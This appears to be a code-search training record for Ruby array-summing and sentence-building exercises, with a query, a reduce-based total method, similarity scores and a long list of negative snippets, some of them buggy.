"def sum_of_sums(numbers)\n sums = []\n 1.upto(numbers.size) do |length|\n sums << numbers[0, length].sum\n end\n \n sums.sum\nend",
"def total(array) \n number = 0\n array.each do |i|\n number += i\n end\n number\nend",
"def total(array)\n array.inject { |sum, n| sum + n}\nend",
"def solution_1\n\n sums = []\n start_point = 0\n index_number_to_check = 25\n\n while true\n \n number_to_check = INPUT[index_number_to_check]\n range = INPUT.slice(start_point,25)\n\n for i in 0..range.length - 1\n k = i + 1\n for k in k..range.length - 1\n sum_result = range[i] + range[k]\n sums << sum_result\n end\n end\n start_point +=1\n index_number_to_check +=1\n if sums.include?(number_to_check) == false\n puts \"The number is #{number_to_check}\"\n exit\n end\n sums = []\n end\n number_to_check\nend",
"def sum_of_sums(array)\n sums = []\n index = 0\n loop do\n (0..index).each {|index| sums << array[index]}\n index += 1\n break if index == array.size\n end\n sums.reduce(:+)\nend",
"def total(array_of_numbers)\n return array_of_numbers.reduce(:+)\nend",
"def two_sum(numbers, target)\n arr = numbers\n num = target\n index_array = []\n return_array = []\n current_index = 0\n\n loop do\n idx_counter = current_index\n current_element = arr[current_index]\n\n loop do\n break if idx_counter >= arr.length - 1\n next_index = idx_counter + 1\n next_element = arr[next_index]\n if current_element + next_element == num\n index_array << current_index << next_index\n end\n idx_counter += 1\n end\n\n if return_array == []\n current_index += 1\n end\n break if return_array.reduce(:+) == num\n end\n\n p index_array\nend",
"def sum_it_up(array)\n return array if array.size == 1\n\n new_array = []\n\n array.size.times do |number|\n if (number + 1) < array.size\n new_array << (array[number] + array[number + 1])\n end\n end\n\n new_array\nend",
"def total(array)\n x = 0\n while x < array.length\n array.each do |n|\n x += n\n end\n end\n return x\nend",
"def reduce_to_total(source_array , starting_point = 0)\n #source_array.reduce{|x,starting_point| starting_point + x}\n \n #source_array.reduce(:+)\n total = 0\n \n i = 0\n\n while i < source_array.length do \n \n if starting_point != 0 \n \n starting_point += source_array[i] \n \n else\n total += source_array[i]\n end\n i += 1 \n \n end \n if starting_point == 0\n return total\n else\n return starting_point\n end\n end",
"def add_numbers(nums_array)\n return nums_array.first if nums_array.length == 1 #=> base case if the array is length 1 then just return the first element\n return nil if nums_array.length < 1 #=> return nil if the array length is less than 1\n \n nums_array.pop + add_numbers(nums_array) #=> inductive/recursive case taking the sum of the array and #pop the the last ele each time\nend",
"def sum_of_sums(int_arr)\n sum = 0\n current_numbers = []\n int_arr.each { |int|\n current_numbers << int\n sum += current_numbers.sum\n }\n sum\nend",
"def sum(array)\n sum = 0\n array.each do |a|\n sum += a\n end\n return sum\nend",
"def total (array)\n sum = 0\n array.each do |i|\n sum + i\n end\n return sum\nend",
"def three_sum(nums)\n return [] if !nums || nums.size < 3\n ans = []\n i = 0 \n size = nums.size\n nums = nums.sort\n while i < size do \n if nums[i] == nums[i - 1] && i > 0 \n i += 1\n next\n end\n\n a = nums[i]\n target = -1 * a\n two_sum(nums[(i + 1)...size], target, a, ans)\n i += 1\n end\n ans\nend",
"def sum arr\n result = 0\n #Iterate through the length of the array to find the sum of the array elements\n if arr.length > 0 then\n arr.each do |index|\n\tresult += index\n end\n end\n return result\nend",
"def sum_of_sums(arr)\n sum = 0\n total = 0\n\n arr.each do |num|\n sum += num\n total += sum\n end\n total\nend",
"def sum_of_sums(arr)\n sum = 0\n total = 0\n\n arr.each do |num|\n sum += num\n total += sum\n end\n total\nend",
"def sum_array(array)\n sum = 0\n array.each do |num|\n sum = sum + num\n end\n sum\nend",
"def count_sum(array)\n ans = []\n count = 0\n sum = 0\n return [] if array.empty?\n array.each do |n|\n if n > 0\n count += 1\n elsif n < 0\n sum += n\n end\n end\n ans << count\n ans << sum \n return ans\nend",
"def sum_it_up(array)\n sum_of_array = 0\n array.each do |num|\n sum_of_array += num\n end\n return sum_of_array\nend",
"def sum(array)\n return 0 if array.empty?\n array.first + sum(array[1..-1])\nend",
"def sum_of_sums(array)\r\n total = array[0]\r\n new_arr = []\r\n array.each do |x|\r\n if new_arr.empty?\r\n new_arr << x\r\n else\r\n total += x\r\n new_arr << total\r\n end\r\n end\r\n new_arr.reduce(:+)\r\nend",
"def total(array)\n \n len = array.length\n i = 0\n sum = 0\n \n while i < len do\n sum = sum + array[i]\n i = i + 1\n end\n return sum\nend",
"def iterative_sum(array)\n sum = 0\n array.each do |ele|\n sum += ele\n end\n sum\nend",
"def solution(a)\n d = 6\n n = a.length\n sums = [a[0]] * d\n\n for i in 1...n do\n sums[i % d] = sums.max + a[i]\n end\n\n sums[(n-1) % d]\nend",
"def solution(number)\n number -=1 and sum = 0 and for x in number.downto(0) do x%5 == 0 ? (sum = sum+x) : if(x%3 == 0) then sum = sum+x \n end end and return sum \nend",
"def sum arr\n sum = 0\n arr.each do |n|\n sum+= n\n end\n return sum\nend",
"def sum(array)\n\ttotal = 0\n\tfor number in array #could do each do instead of for loop\n\t\ttotal += number\n\tend\n\treturn total\nend",
"def sum_of_sums(array)\n elements = 1\n sums = 0 \n \n array.each_with_index do |element, index| \n counter = 0\n inner_sum = 0\n (index + 1).times do\n inner_sum += array[counter]\n counter += 1\n end\n\n sums += inner_sum\n end\n\n sums\nend",
"def solution(a)\n n = a.size\n starting = Array.new(n, 0)\n ending = Array.new(n, 0)\n\n (1..n - 2).each {|i| starting[i] = [starting[i - 1] + a[i], 0].max}\n (1..n - 2).reverse_each {|i| ending[i] = [ending[i + 1] + a[i], 0].max}\n\n sum = 0\n (1..n - 2).each {|i| sum = [sum, starting[i - 1] + ending[i + 1]].max}\n sum\nend",
"def sum_rec(numbers)\n # base case\n return 0 if numbers.empty?\n # inductive step\n numbers[0] + sum_rec(numbers[1..-1])\nend",
"def total(arraynumber)\n totalsum = 0\n length_of_arraynumber = arraynumber.length\n current_index_of_array = 0\n while current_index_of_array < length_of_arraynumber\n totalsum = arraynumber[current_index_of_array] + totalsum\n current_index_of_array = current_index_of_array + 1\n end\n #puts totalsum\n return totalsum\nend",
"def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend",
"def total(array)\nsum = 0 \n\tarray.each do |num|\n\tsum += num \n\tend \n\treturn sum\nend",
"def running_total3(array)\n sum = 0\n array.map do |num|\n sum = [sum, num].inject(:+)\n end\nend"
] |
[
"0.6856004",
"0.6842338",
"0.67922467",
"0.67525995",
"0.6751706",
"0.6692171",
"0.6654565",
"0.6618813",
"0.6601736",
"0.6572141",
"0.6560876",
"0.6555876",
"0.65202457",
"0.6518311",
"0.6515971",
"0.6511436",
"0.65025055",
"0.6497835",
"0.64853543",
"0.64801127",
"0.6477914",
"0.6475346",
"0.6458688",
"0.64582676",
"0.6454377",
"0.64513004",
"0.6449092",
"0.6440004",
"0.64289784",
"0.64262",
"0.64253324",
"0.64238006",
"0.64054185",
"0.6404882",
"0.63996506",
"0.63976616",
"0.6394697",
"0.6390881",
"0.63874",
"0.6382419",
"0.63762283",
"0.6372979",
"0.636728",
"0.6365231",
"0.63639176",
"0.63585865",
"0.63574344",
"0.63567084",
"0.63566977",
"0.63540375",
"0.63444024",
"0.63404983",
"0.6328041",
"0.63149226",
"0.63116455",
"0.63077265",
"0.63045025",
"0.6302191",
"0.6300753",
"0.6297126",
"0.6297126",
"0.62963986",
"0.6290792",
"0.62905395",
"0.6289596",
"0.62867725",
"0.62857956",
"0.628101",
"0.6276811",
"0.62699014",
"0.62694633",
"0.6268254",
"0.62679136",
"0.6267864",
"0.62664354",
"0.62662596",
"0.6264413",
"0.6260276",
"0.6259273",
"0.62577826",
"0.6256524",
"0.62564814",
"0.62564814",
"0.6254458",
"0.62523305",
"0.6252019",
"0.6251013",
"0.6250275",
"0.6250076",
"0.62487346",
"0.624809",
"0.6241796",
"0.62410843",
"0.6240843",
"0.6239798",
"0.6239387",
"0.6233076",
"0.6232412",
"0.62271047",
"0.62246364",
"0.62233704"
] |
0.0
|
-1
|
3. total refactored solution
|
def total(list)
p list.reduce(:+)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def anchored; end",
"def solution4(input)\n end",
"def suivre; end",
"def private; end",
"def probers; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def stderrs; end",
"def schubert; end",
"def transformations; end",
"def villian; end",
"def schumann; end",
"def alg; end",
"def malts; end",
"def transform; end",
"def recursive_solution\n\n end",
"def formation; end",
"def intensifier; end",
"def terpene; end",
"def calculated; end",
"def romeo_and_juliet; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def algorithm=(_); end",
"def algorithm=(_); end",
"def algorithm=(_); end",
"def algorithm=(_); end",
"def _reduce_684(val, _values, result)\n result = [ @builder.kwnilarg(val[0][0], val[0][1]) ]\n \n result\nend",
"def king_richard_iii; end",
"def operations; end",
"def operations; end",
"def _reduce_479(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend",
"def _reduce_656(val, _values, result)\n result = [ @builder.kwnilarg(val[0], val[1]) ]\n \n result\nend",
"def rassoc(p0) end",
"def _reduce_543(val, _values, result)\n result = @builder.accessible(val[0])\n \n result\nend",
"def\n \nend\n\n\n# 6. sentence_maker refactored solution",
"def diff1; end",
"def ismn; end",
"def _reduce_724(val, _values, result)\n yyerrok\n \n result\nend",
"def gettrys(tcoords)\n # Indexa coordenadas de las lineas con menor incognitas\n p \"hmiss............\"\n p tcoords[:hmiss]\n hlower_c = lowerabsent(tcoords[:hmiss]) # [{:hindex=>x, :coords=> [[]]\n vlower_c = lowerabsent(tcoords[:vmiss],\"v\") # [{:vindex=>x, :coords=>[[]]\n slower_c = lowerabsent(tcoords[:smiss],\"s\") # [{:sindex=>x, :coords=>[[]]\n\n # combierte las coordenadas en numeros -> contiene menor incognitas\n hlower_n = hlower_c.collect {|line| missto_n(line[:hindex])} # [{:hindex=>0, :numbers=>[3, 4]}, x]\n vlower_n = vlower_c.collect {|line| missto_n(line[:vindex],tcoords[:vwhole], \"v\")} # [{:vindex=>0, :numbers=>[3, 4]}, x]\n #slower_n = slower_c.collect {|line| missto_n(line[:sindex], tcoords[:swhole], \"s\")} # [{:sindex=>2, :numbers=>[4, 6, 8]}, x]\n p \"****** H vs V *******\"\n p hlower_c.length < vlower_c.length ? \"h < v\" : \"h > v\"\n # cantidad de incognitas decide si se usa h o v\n p lower_c = hlower_c.length < vlower_c.length ? hlower_c : vlower_c\n lower_n = lower_c[0].keys[0][0] == \"h\" ? hlower_n : vlower_n\n # le pone cuadro a cada coord y separa coordenadas, una por linea\n hvindex_sindex_coords = locatecoord_onsquere(lower_c, tcoords[:swhole])\n sqr_n = hvindex_sindex_coords.collect {|item| missto_n(item[:sindex], tcoords[:swhole],\"s\")}\n # buscar que sqr tiene menos coincidencias\n hvindex_sindex_coords.collect { |main|\n main[:sqr_options] = sqr_n.collect {|numbers| numbers[:numbers] if main[:sindex] == numbers[:sindex] }.compact.flatten\n main[:options] = lower_n.collect {|numbers| numbers[:numbers] if main[main.keys[0]] == numbers[numbers.keys[0]] }.compact.flatten\n main[:reduce] = main[:options] - ([1,2,3,4,5,6,7,8,9] - main[:sqr_options])\n\n }\n # numbers[:numbers] if main[main.keys[0]] == numbers[numbers.keys[0]]\n result = hvindex_sindex_coords.group_by {|g| g[:reduce].length}\n\n p \"*******start Result\"\n reduce_index = result.collect {|x,y| x }.min\n result[reduce_index].map {|e| p e} # inspect\n result[reduce_index].map do |item|\n\n case item.keys[0][0]\n when \"h\"\n if item[:reduce].length == 1\n x = item[:coord][0]\n y = item[:coord][1]\n @tbls[:notformated][x][y] = item[:reduce][0]\n @tbls[:formated][x][y] = formato(@tbls[:notformated][x][y].to_s,:red, :yellow)\n elsif item[:reduce].length > 1\n # Pregunta en linea vertical\n end\n when \"v\"\n p \"################## - caso vertical pendiente - ###################\"; exit\n end\n\n end\n\n end",
"def _reduce_653(val, _values, result)\n result = [ @builder.kwnilarg(val[0], val[1]) ]\n \n result\nend",
"def transforms; end",
"def translate(a)\n\tvoyel = [\"a\",\"e\",\"i\",\"o\",\"u\"]\ncheck = 0\nn = 0\nx = a \n words = a.split(/\\W+/)\n words.each do |a|\n\tok = voyel.include?(a[0])\n\tif ok == true \n\t\ta = a + \"ay\"\n\t\treturn a \n\tend\n while check <= 4\n\tb = a.slice(0..check)\n\n\tcheck = check + 1\n \n\tok = voyel.include?(x[check])\n\ttest1 = \"qu\".include?(x[check])\n\tif test1 == true \n\t\tif check == 1\n\t\t\tb = a.slice(0..check)\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[2..-1]\n\t elsif check == 2\n\t \tb = a.slice(1..check)\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[4..-1]\n\t end\n\tend\n\n\tif ok == true \n\t\tif check == 1\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[1..-1]\n\t elsif check == 2\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[2..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t end\n\tend\nend\nend\nend",
"def _reduce_727(val, _values, result)\n result = nil\n \n result\nend",
"def _reduce_549(val, _values, result)\n yyerrok\n \n result\nend",
"def silly_adjective; end",
"def _reduce_430(val, _values, result)\n result = new_dsym val[1]\n \n result\nend",
"def _reduce_672(val, _values, result)\n result = [ @builder.kwnilarg(val[0], val[1]) ]\n \n result\nend",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def trd; end",
"def _reduce_533(val, _values, result)\n result = @builder.accessible(val[0])\n \n result\nend",
"def too_complex; end",
"def offences_by; end",
"def greibach_normal_form\n raise NotImplementedError\n end",
"def hook_solution?(a); end",
"def berlioz; end",
"def _reduce_436(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend",
"def diff2; end",
"def required_positionals; end",
"def _reduce_473(val, _values, result)\n result = s(:lasgn, val[0])\n \n result\nend",
"def _reduce_545(val, _values, result)\n result = @builder.accessible(val[0])\n\n result\nend",
"def _reduce_708(val, _values, result)\n yyerrok\n \n result\nend",
"def original_result; end",
"def verdi; end",
"def _reduce_736(val, _values, result)\n yyerrok\n \n result\nend",
"def _reduce_671(val, _values, result)\n result = [ @builder.kwnilarg(val[0], val[1]) ]\n \n result\nend",
"def common\n \n end",
"def generate_comprehensive\n\n end",
"def method_731(base); end",
"def lcts(array)\nend",
"def _reduce_717(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_659(val, _values, result)\n result = [ @builder.kwnilarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_699(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_430(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_518(val, _values, result)\n result = @builder.accessible(val[0])\n \n result\nend",
"def solution(s, p, q)\r\n # write your code in Ruby 2.2\r\n # A -1\r\n # C -2\r\n # G -3\r\n # T -4\r\n # s - string with n charactekrs\r\n #cagccta\r\n #0123345\r\n #p,q - not empty arrays\r\n #\r\n #p[0]=2 q[0]=4 gcc 322 => 2\r\n #p[1]=5 q[1]=5 t 4 => 4\r\n \r\n \r\n arr = Array.new(q.count)\r\n \r\n \r\n\r\n \r\n arr.each_with_index{|el, i|\r\n \r\n ss = s[p[i]..q[i]]\r\n \r\n if ss.index('A') \r\n n = 1\r\n elsif ss.index('C')\r\n n=2\r\n elsif ss.index('G')\r\n n=3\r\n else \r\n n=4\r\n end\r\n \r\n arr[i] = n\r\n \r\n }\r\n \r\n \r\n \r\n arr\r\n \r\nend",
"def _reduce_723(val, _values, result)\n yyerrok\n \n result\nend",
"def _reduce_608(val, _values, result)\n yyerrok\n \n result\nend",
"def alternatives; end",
"def _reduce_523(val, _values, result)\n result = @builder.accessible(val[0])\n \n result\nend",
"def algorithms=(_arg0); end",
"def algorithms=(_arg0); end",
"def exercise_1113 (matrix)\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def _reduce_478(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend",
"def _reduce_594(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_581(val, _values, result)\n result = val[1]\n\n result\nend",
"def _reduce_712(val, _values, result)\n result = nil\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = val[1]\n \n result\nend",
"def _reduce_651(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_427(val, _values, result)\n result = new_dsym val[1]\n \n result\nend"
] |
[
"0.614783",
"0.59552205",
"0.58631617",
"0.5817628",
"0.5803303",
"0.5688251",
"0.5688251",
"0.5688251",
"0.5688251",
"0.5688251",
"0.5668896",
"0.5657474",
"0.56524754",
"0.562926",
"0.5584554",
"0.5583142",
"0.55335104",
"0.55295557",
"0.55000037",
"0.549499",
"0.5478271",
"0.5450732",
"0.544987",
"0.5433531",
"0.5422435",
"0.5422435",
"0.5381478",
"0.5381478",
"0.5381478",
"0.5381478",
"0.5350913",
"0.5331758",
"0.5325692",
"0.5325692",
"0.5323767",
"0.53156716",
"0.5306049",
"0.5303046",
"0.52773285",
"0.5273887",
"0.527278",
"0.52694535",
"0.52566403",
"0.5251667",
"0.5250441",
"0.5248617",
"0.52315843",
"0.5229731",
"0.5226629",
"0.52212405",
"0.5218845",
"0.5206856",
"0.5201853",
"0.5193626",
"0.51922435",
"0.5191089",
"0.51893747",
"0.518622",
"0.5183493",
"0.5182572",
"0.5178696",
"0.5166912",
"0.5160866",
"0.51604515",
"0.5159779",
"0.5157119",
"0.5156715",
"0.51566964",
"0.5153629",
"0.51494896",
"0.51490074",
"0.51473784",
"0.5146217",
"0.5146142",
"0.5140541",
"0.51370454",
"0.5136761",
"0.5136456",
"0.5136061",
"0.513605",
"0.5133585",
"0.5133562",
"0.51323944",
"0.5130431",
"0.5130431",
"0.5130068",
"0.512397",
"0.512397",
"0.512397",
"0.512397",
"0.51232177",
"0.5118662",
"0.5115908",
"0.51128834",
"0.5112615",
"0.5112615",
"0.5112615",
"0.5112615",
"0.5112615",
"0.5111721",
"0.5111496"
] |
0.0
|
-1
|
4. sentence_maker pseudocode make sure all pseudocode is commented out! Input: array (list of strings) Output: string (sentence) Steps to solve the problem. transform list into a sentence by concatenating array elements, then capitalizing and adding a period to the end 5. sentence_maker initial solution
|
def sentence_maker(array_of_strings)
sentence = array_of_strings[0].capitalize
for i in array_of_strings[1..-1]
sentence += " " + i
end
p sentence + "."
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sentence_maker(array)\n\tarray[0].capitalize!\n\tfinalString = array.join(' ')\n\tfinalString = finalString + '.'\nend",
"def sentence_maker(array)\n\tcomplete = \"\"\n\tarray.each do |i|\n\t\tcomplete = complete + i.to_s + \" \"\n\tend\n\tcomplete.insert(-2, \".\")\n\treturn complete.strip.capitalize\nend",
"def sentence_maker(array_of_strings)\n sentence = array_of_strings[0].capitalize\n for i in array_of_strings[1..-1]\n sentence += \" \" + i\n end \n sentence + \".\"\nend",
"def sentence_maker(array_of_strings)\n return array_of_strings.join(\" \").capitalize + '.'\nend",
"def sentence_maker (array)\n array[0].capitalize!\n return array.join(\" \") + \".\"\nend",
"def sentence_maker(array)\n\tanswer=\"\"\n\tarray[0]=array[0].capitalize\n\tarray.each do |x|\n\t\tx=x.to_s\n\t\tanswer+=x+\" \"\n\tend\t\n\tanswer=answer.chop+\".\"\n\treturn answer\nend",
"def sentence_maker(array)\n array[0].capitalize!\n array.join(\" \") << \".\"\nend",
"def sentence_maker(array)\n string = array.join(' ').capitalize! + '.'\nend",
"def sentence_maker(arr)\n string = \"\"\n arr.each do |i|\n string += i.to_s + ' '\n end\n string[-1] = \".\"\n return string = string.capitalize\nend",
"def sentence_maker(array_of_strings)\n array_of_strings.join(' ').capitalize + \".\"\nend",
"def sentence_maker(array)\n sentence = array.join(\" \")\n sentence << \".\"\n sentence.capitalize!\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence.capitalize!\n\treturn sentence + \".\"\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence.capitalize!\n\treturn sentence + \".\"\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence.capitalize!\n\tsentence += \".\"\n\treturn sentence\nend",
"def sentence_maker(array)\n sentence = \"\"\n array.each do |x|\n sentence = sentence + x.to_s + \" \"\n end\n\n sentence[0] = sentence[0].upcase\n sentence = sentence.rstrip\n sentence = sentence + \".\"\n return sentence\n\nend",
"def sentence_maker(array)\n sentence = array.join(\" \")\n sentence = sentence.capitalize + \".\"\nend",
"def sentence_maker (array)\n sentence = \"\"\n array.each do |i|\n sentence = sentence + i.to_s + \" \"\n end\n sentence = sentence.capitalize.chop + \".\"\nend",
"def sentence_maker(array)\n combination = \"\"\n array[0].capitalize!\n array.each {|x| combination = combination + x.to_s + \" \"}\n combination.rstrip!\n combination = combination + \".\"\n return combination\nend",
"def sentence_maker(array)\n array.join(\" \")\n array(0,1).capitalize + array(1..-1) + \".\"\nend",
"def sentence_maker(array)\n array.join(\" \").capitalize + \".\"\nend",
"def sentence_maker(array)\n\tarray.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(array)\n\tarray.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(array)\n array.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(string_array)\n string_array.join(\" \").capitalize + \".\"\nend",
"def sentence_maker(array)\n array.join(' ').capitalize << \".\"\nend",
"def sentence_maker array\n array = array.join(' ').capitalize\n return \"#{array}.\"\nend",
"def sentence_maker (array)\n\tindex = 0\n\twhile index < array.length\n\t\tif index == 0\n\t\t\tsentence = array[index].to_s.capitalize\n\t\telse \n\t\t\tsentence = sentence + \" \" + array[index].to_s\n\t\tend\n\t\tindex += 1\n\tend\n\tsentence = sentence + \".\"\n\treturn sentence \nend",
"def sentence_maker(array)\n result = array.join(' ')\n result = result.capitalize + \".\"\nend",
"def sentence_maker(array_of_strings)\n\n p array_of_strings.join(' ').capitalize + \".\"\n\n end",
"def sentence_maker(array)\n sentence = array[0].capitalize\n for w in 1...array.length\n sentence = sentence + \" \" + array[w].to_s\n end\n return sentence + \".\"\nend",
"def sentence_maker(array)\n sentence = \"\"\n array[0].capitalize!\n array.each do |i|\n sentence << \"#{i}\"\n unless i == array.last\n sentence << \" \"\n end\n end\n sentence << \".\"\n return sentence\nend",
"def sentence_maker(array)\n\tnew_array = array.join(\" \").capitalize + \".\"\n\t\nend",
"def sentence_maker arr\n catenated_str = ''\n space = ' '\n i = 0\n\n arr.each do |el|\n catenated_str += i == 0 ? el.capitalize.to_s : i == (arr.length - 1) ? space + el.to_s + '.' : space + el.to_s\n i+=1\n end\n catenated_str\nend",
"def sentence_maker ( strArray )\r\n\r\n\tanswer = ''\r\n\r\n\tstrArray.each do |thisStr|\r\n\t\tanswer += thisStr.to_s + ' '\r\n\tend\r\n\r\n\tanswer.slice!(answer.length-1)\r\n\r\n\tanswer += '.'\r\n\r\n\treturn answer.capitalize!\r\n\r\nend",
"def sentence_maker(array_of_strings)\n result = \"\"\n last_word = array_of_strings.pop\n array_of_strings.each do |word|\n result += word.to_s + \" \"\n end\n result += last_word + \".\"\n return result.capitalize!\nend",
"def sentence_maker(array)\n str_array = array.collect{|i| i.to_s} #collect method returns entire array or hash; we are converting all elements of array into string\n sentence = array[0] #converts first element of array into new array\n sentence[0] = str_array[0][0].upcase #makes first letter uppercase\n str_array.shift\n\tstr_array.each { |i| sentence = sentence + \" \" + i.to_s}\n\treturn sentence + \".\"\nend",
"def sentence_maker(word_array)\n sentence = word_array.inject(\" \"){|words,element| words += element.to_s + \" \"}\n sentence.strip!.capitalize!\n sentence << \".\"\nend",
"def sentence_maker (arr)\n sentence = \"\"\n arr[0] = arr[0].capitalize\n for i in 0...arr.length-1\n sentence = sentence + arr[i].to_s + \" \"\n end\n return sentence + arr[arr.length-1] + \".\"\nend",
"def sentence_maker(array)\n\tsentence = array.join(\" \")\n\tsentence = sentence.to_s.capitalize + \".\"\nend",
"def sentence_maker array\n array = array.join(' ').capitalize << \".\"\n\nend",
"def sentence_maker(array)\n\ti = 0\n\twhile i < array.length do\n\t\tif i == 0\n\t\t\tsentence = (array[i].capitalize.to_s + \" \")\n\t\telsif i == array.length-1\n\t\t\tsentence = sentence + (array[i].to_s + \".\") \n\t\telse\n\t\t\tsentence = sentence + (array[i].to_s + \" \")\n\t\tend\n\t\ti += 1\n\tend\n\treturn sentence\nend",
"def sentence_maker(word_array)\n sentence = word_array.inject(\" \"){|words,element| words+=element.to_s+\" \"}\n sentence.strip!.capitalize!\n sentence << \".\"\nend",
"def sentence_maker(array)\n combination = \"\"\n array.each {|x| combination = combination + x.to_s + \" \"}\n return combination.capitalize.chop + \".\"\nend",
"def sentence_maker (arr)\n\n arr[0] = arr[0].capitalize\n sentence = arr.join(\" \")\n\n return sentence + \".\"\nend",
"def sentence_maker(array)\n x=array.join(\" \")\n return x.capitalize + \".\"\n end",
"def sentence_maker(arr)\n arr[0] = arr[0].capitalize\n return arr.join(\" \") + \".\"\nend",
"def sentence_maker(array_of_strings)\n\t# Declare new sentence variable and set to \"\"\n\tsentence = \"\"\n\t# Capitalize first word in array\n\tarray_of_strings[0].to_s.capitalize!\n\t# For each member of array_of_strings, add to the sentence variable (converting to string)\n\tfor num in 0..(array_of_strings.length - 1)\n\t\t\tsentence += array_of_strings[num].to_s\n\t\t# unless the member of the array is the last member of array_of_strings_, add a space after the word\n\t\tunless num == (array_of_strings.length - 1)\n\t\t\tsentence += \" \"\n\t\tend\n\tend\n\t# End the sentence variable with a period\n\tsentence += \".\"\n\t# Return the sentence variable\n\treturn sentence\nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker (array)\n index = 0\n sentence = \"\"\n array = array.map {|x| x.to_s}\n\nuntil index == array.length-1\n sentence += array[index] + \" \"\n index += 1\nend\n\nsentence += array[-1] + \".\"\nreturn sentence.capitalize\n\nend",
"def sentence_maker(array)\n x = 0\n sum = \"\"\n while x <= array.length-1\n sum += array[x].to_s + \" \"\n x += 1\n end\n sum.rstrip!\n sum += \".\"\n sum.capitalize!\n return sum\nend",
"def sentence_maker(string_array)\nnew_string = \"\"\nnew_array = []\n\nstring_array.each do |string|\n if string != string_array[-1]\n new_string += string.to_s + \" \"\n else\n new_string += string.to_s\n end\n \n new_array.push(new_string)\nend\nreturn new_array[-1].capitalize + \".\"\nend",
"def sentence_maker(array)\n\tsentence = array[0].capitalize.to_s\n\ti = 1\n\twhile i < array.length\n\t\tsentence = sentence + \" \" + array[i].to_s\n\t\ti += 1\n\tend\n\tsentence = sentence + \".\"\n\tp sentence\n\nend",
"def sentence_maker(array)\n\tlength = array.length\n\tsum = array[0].to_s.capitalize!\n\tfor i in 1...length\n\t\tsum = sum + \" \" + array[i].to_s\n\tend\n \tsum + \".\"\nend",
"def sentence_maker(arr)\n string = \"\"\n i = 1\n while i < arr.length-1\n string += arr[i].to_s + ' '\n i+=1\n end\n sentence = arr[0].capitalize! + \" \" + string + arr[-1] + \".\"\n return sentence\nend",
"def sentence_maker(arr)\n x = ''\n #Concatenate each element with a space\n arr.each{|y| x << y.to_s << ' '}\n\n #Take out any leading or trailing white space\n x.strip!\n x[0] = x[0].capitalize\n x << '.'\n p x\nend",
"def sentence_maker(array)\n\tx = 0\n\tsum = \"\"\n\twhile x <= array.length-1\n\t\tif x == array.length-1\n\t\t\tsum += array[x].to_s\n\t\t\tx += 1\n\t\telse \n\t\t\tsum += array[x].to_s + \" \"\n\t\t\tx += 1\n\t\tend\t\n\tend\n\tsum += \".\"\n\tsum.capitalize!\n\treturn sum\nend",
"def sentence_maker(word_array)\n\tsentence = word_array.join(\" \")\n\treturn sentence.capitalize + \".\"\nend",
"def sentence_maker_refactored(words)\n words.first.capitalize!\n words.join(\" \") + \".\"\nend",
"def sentence_maker(arraystring)\n fullsentence = ''\n length_of_arraystring = arraystring.length\n current_index_of_array = 0\n while current_index_of_array < length_of_arraystring\n if current_index_of_array == 0\n word = arraystring[current_index_of_array].to_s.capitalize\n fullsentence = fullsentence + word + ' '\n\n elsif current_index_of_array == length_of_arraystring - 1\n word = arraystring[current_index_of_array].to_s\n fullsentence = fullsentence + word + '.'\n else\n word = arraystring[current_index_of_array].to_s\n fullsentence = fullsentence + word + ' '\n end\n current_index_of_array = current_index_of_array + 1\n\n end\n# puts fullsentence\n return fullsentence\nend",
"def sentence_maker(a)\n\ta[0] = a[0].capitalize\n\tstring = a.join(\" \")+\".\"\n\treturn string\nend",
"def sentence_maker(sentence)\n sentence[0] = sentence[0].capitalize\n sentence.join(\" \") + \".\"\nend",
"def sentence_maker(strings)\n new_string = strings.join(\" \") + \".\"\n return new_string.capitalize\nend",
"def sentence_maker(strings)\n return strings.join(' ').capitalize + '.'\nend",
